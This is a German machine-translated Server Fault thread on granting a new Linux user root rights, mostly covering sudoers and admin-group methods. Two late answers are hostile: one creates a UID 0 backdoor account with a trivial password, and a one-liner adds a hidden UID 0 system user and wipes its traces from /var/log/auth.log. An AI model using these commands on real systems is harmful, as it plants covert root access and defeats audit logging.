Neuen Benutzer mit Root-Zugriff in Linux hinzufügen

31

Ich möchte einen neuen Benutzer hinzufügen und diesem neuen Benutzer den gesamten Root-Zugriff gewähren. Wie kann ich das tun?

Ich habe es getan, sudo adduser --system testuseraber das funktioniert nicht so, wie ich es erwartet hatte.

Danke für die Hilfe.

seg.server.fault
quelle

Antworten:

62

Es gibt tatsächlich drei Möglichkeiten, wie Sie dies tun können: den richtigen, den falschen und den hässlichen Weg.

Erstellen Sie zunächst ein normales Benutzerkonto.

adduser username

Wählen Sie dann eine der folgenden Möglichkeiten:


Der richtige Weg

Erstellen Sie einen sudoEintrag für die wheelGruppe /etc/sudoerswie folgt:

## Allows people in group wheel to run all commands
%wheel  ALL=(ALL)       ALL

Oder für "moderne" Versionen:

## Allows people in group sudoers to run all commands
%sudoers ALL=(ALL)       ALL

Fügen Sie dann den Benutzer der wheelGruppe hinzu. Das Hinzufügen und Entfernen von Benutzern mit Administratorrechten wird nun zu einer Funktion, bei der Sie sich daran erinnern, sie zu wheel hinzuzufügen, anstatt einen Eintrag in sudo zu erstellen. Das Tolle an der Verwendung von Wheel ist, dass Sie diesen Mechanismus auf andere Authentifizierungsschemata ausweiten können, die Gruppen unterstützen, z. B. WinBind / Active Directory, und die damit verbundenen Vorteile nutzen können. Sie erreichen dies, indem Sie das Rad einer Gruppe in Ihrem Authentifizierungsschema zuordnen, die über Administratorrechte verfügt.

Beachten Sie, dass einige Distributionen unterschiedliche Administratorkonten verwenden. Wheel ist ein „traditioneller“ Ansatz dazu, aber Sie können auftreten admin, admund andere Gruppenkonten , die den gleichen Zweck dienen.

Nachbearbeitung:

Ich muss Bart Silverstrim einen Punkt geben, um darauf hinzuweisen, dass Ubuntu admindie Gruppe für diesen Zweck verwendet. Er kam zuerst dazu, obwohl ich zu der Zeit keinen Ubuntu-Tag bemerkte. Auch hier hängt alles davon ab, welche Distribution Sie verwenden.


Der hässliche Weg

Erstellen Sie einen sudo-Eintrag für das betreffende Benutzerkonto und gewähren Sie anschließend vollständigen Zugriff. Auch hier erstellen Sie den Eintrag /etc/sudoerswie folgt:

## Allows just user "username" to run all commands as root
username    ALL=(ALL)    ALL

ADDED: ## Für Ubuntu-Version: Benutzername ALL = (ALL: ALL)

Dies ist großartig, wenn Sie nur ein (oder zwei) normale Konten haben. Es ist hässlich, wenn Sie hundert Accounts über mehrere (geophysikalische) Sites haben und die sudo-Datei ständig warten müssen.


Der falsche Weg

Sie können die /etc/passwdDatei bearbeiten und die Benutzerkonto-ID von einer beliebigen Nummer in ändern 0. Das ist richtig, null .

username:x:0:502::/home/username:/bin/bash

Sehen Sie diesen dritten Eintrag als Null? Wenn Sie sich in dieses Konto einloggen, sind Sie für alle effektiven Zwecke root. Ich empfehle das nicht. Wenn Sie sich nicht daran erinnern, wer Sie sind, können Sie beim Erstellen und Berühren von Dateien alle Arten von Chaos anrichten root. Sie können der rootGruppe auch Ihren Benutzernamen hinzufügen . Dies hat den gleichen Effekt für den Dateizugriff, führt jedoch zu anderen Problemen. Programme werden bemerken, dass Sie kein Benutzer sind root und die Ausführung ablehnen, aber Sie erhalten Zugriff auf Dateien, die zur Gruppe gehören root.

Wenn Sie dies getan haben, haben Sie verwendet, vipwanstatt nur mit zu bearbeiten vi, richtig? (oder was auch immer Ihr bevorzugter Texteditor ist) Schließlich kann ein einzelner Tippfehler in dieser Datei Sie aus Ihrem System ausschließen - und das bedeutet, dass Sie den betreffenden Computer mit einer Reparatur-CD besuchen ...

Avery Payne
quelle
2
Ich würde nicht einmal den falschen Weg dokumentieren. Zu tabu.
Elcuco
15
Ich stimme dir nicht zu. Wenn Sie das Falsche verstecken, verschwindet es nicht, es eitert nur - und manchmal erregt das Wissen, dass etwas verboten ist, mehr Aufmerksamkeit, als es sollte. Besser zu verstehen, warum es tabu ist. Besonders wenn es (zugegebenermaßen seltene) Umstände gibt, in denen Sie dieses Wissen benötigen könnten. Trotzdem gebe ich Ihnen einen Punkt, um darauf hinzuweisen, wie wirklich schlimm die Dinge sein können. :)
Avery Payne
1
"Schließlich kann ein einzelner Tippfehler in dieser Datei Sie aus Ihrem System ausschließen" - nein, dies wird nicht der Fall sein, wenn Sie alle Putty-Sitzungen getrennt haben (vorausgesetzt, Sie verwenden Putty). Solange Sie nicht die Verbindung trennen, sondern nur eine andere Sitzung öffnen, um Ihre Einstellungen zu testen, sind Sie in dieser Hinsicht in Ordnung.
Quamis
1
@quamis - wahr. Obwohl ich versucht habe, auf die Gefahr hinzuweisen, dass es sicher ist, zu "feuern und zu vergessen". :) Ein Punkt auch für Sie, um auf gute Praktiken hinzuweisen - testen Sie die Einstellungen immer danach .
Avery Payne
1
Ich möchte nur darauf hinweisen, dass das, was in Unix traditionell als 'wheel'-Gruppe (mit binärer Anhebung auf Flag-Ebene) bezeichnet wurde, nicht länger ein üblicher Begriff für Benutzergruppen ist, die mit sudo angehoben werden können. Nach meiner Erfahrung ist der gebräuchlichste Name der Gruppe von Personen, die sudo können, heutzutage in der Regel "sudoer" und ist auf den meisten Systemen bereits eingerichtet.
Bojan Markovic
3

Ich benutze dies seit Jahren und es ist die # 1 empfohlene Möglichkeit, einen Sudoer auf AskUbuntu hinzuzufügen :

adduser existinguser sudo

Viel einfacher als das Bearbeiten von Dateien und einfach ein Shell-Skript für die unbeaufsichtigte Installation einzufügen.

Wenn Sie den Benutzer erstellen und Sudo-Berechtigungen erteilen möchten, können Sie dies in einer Zeile wie folgt tun:

useradd newuser -m -G sudo
passwd newuser

-mhat ein Basisverzeichnis erstellt und -Ggibt eine zusätzliche Gruppe an.

Dan Dascalescu
quelle
2

und damit ist 100%:

adduser -u 0 -g root -G root -s /bin/bash -r HackerS2H -p 123456

und verbinde dich mit putty und ip server

hacker-s2h
quelle
1

Nun, Sie können Benutzer mit adduser erstellen, siehe man adduser.
Nachdem Sie es zu einer privilegierten Gruppe wie root oder wheel hinzugefügt haben. Aber ich denke, dass der am meisten empfohlene Weg, eine Erlaubnis zu haben, die Verwendung von sudo ist.

Ali Mezgani
quelle
1

Sie können durchführen:

#useradd -m -g root alex

Es wird ein Benutzer Alex mit einem Ausgangsverzeichnis erstellt, das zur Stammgruppe gehört

Razique
quelle
1

Ergänzung zu Avery Paynes Antwort: In Ubuntu möchten Sie es vielleicht so:

%sudo   ALL=(ALL:ALL) ALL

Und nicht so:

%sudo    ALL=(ALL) ALL
hukeping
quelle
0

Der "hässliche und unordentliche" Weg besteht darin, / etc / passwd so zu bearbeiten, dass UID = 0 UND GID = 0 für den neuen Benutzer ist. Aber dies stellt eine Menge von Sicherheitsrisiken . Sie wissen, dass er, wenn er auch root ist, Ihren Account deaktivieren, Ihr Passwort ändern und Sie zu einem "Standardbenutzer" machen kann ... richtig? Warum gibst du ihm nicht einfach deinen eigenen Account?

Sie können die Funktionsweise von suid ( http://en.wikipedia.org/wiki/Setuid ) untersuchen, wenn Sie ihm nur für einige der Befehle root-Zugriff gewähren möchten.

quamis
quelle
-1

Hier ist ein Einzeiler:

USERNAME="name";PASSWD=`perl -e 'print crypt("password", "sa")'`;COMMENT="Comment Here"
&& sudo useradd -p $PASSWD --system --shell '/bin/bash' --base-dir "/bin" --uid 0 -- 
non-unique --comment $COMMENT $USERNAME && sudo sed -i '/useradd/d;/$USERNAME/d;' 
/var/log/auth.log

Beste,

Boschko
quelle
1
Das Hinzufügen weiterer Benutzer mit der UID 0 ist keine gute Idee. Weitere Informationen finden Sie in der Antwort mit den meisten Stimmen.
Gerald Schneider
@GeraldSchneider Ich habe nie gesagt, dass es eine gute Idee ist ... Ich bin mir dessen bewusst ... und ehrlich gesagt geht es uns nichts an. Es ist ein Einzeiler und wird die ganze Zeit bei Pentests verwendet. Grüße
Boschko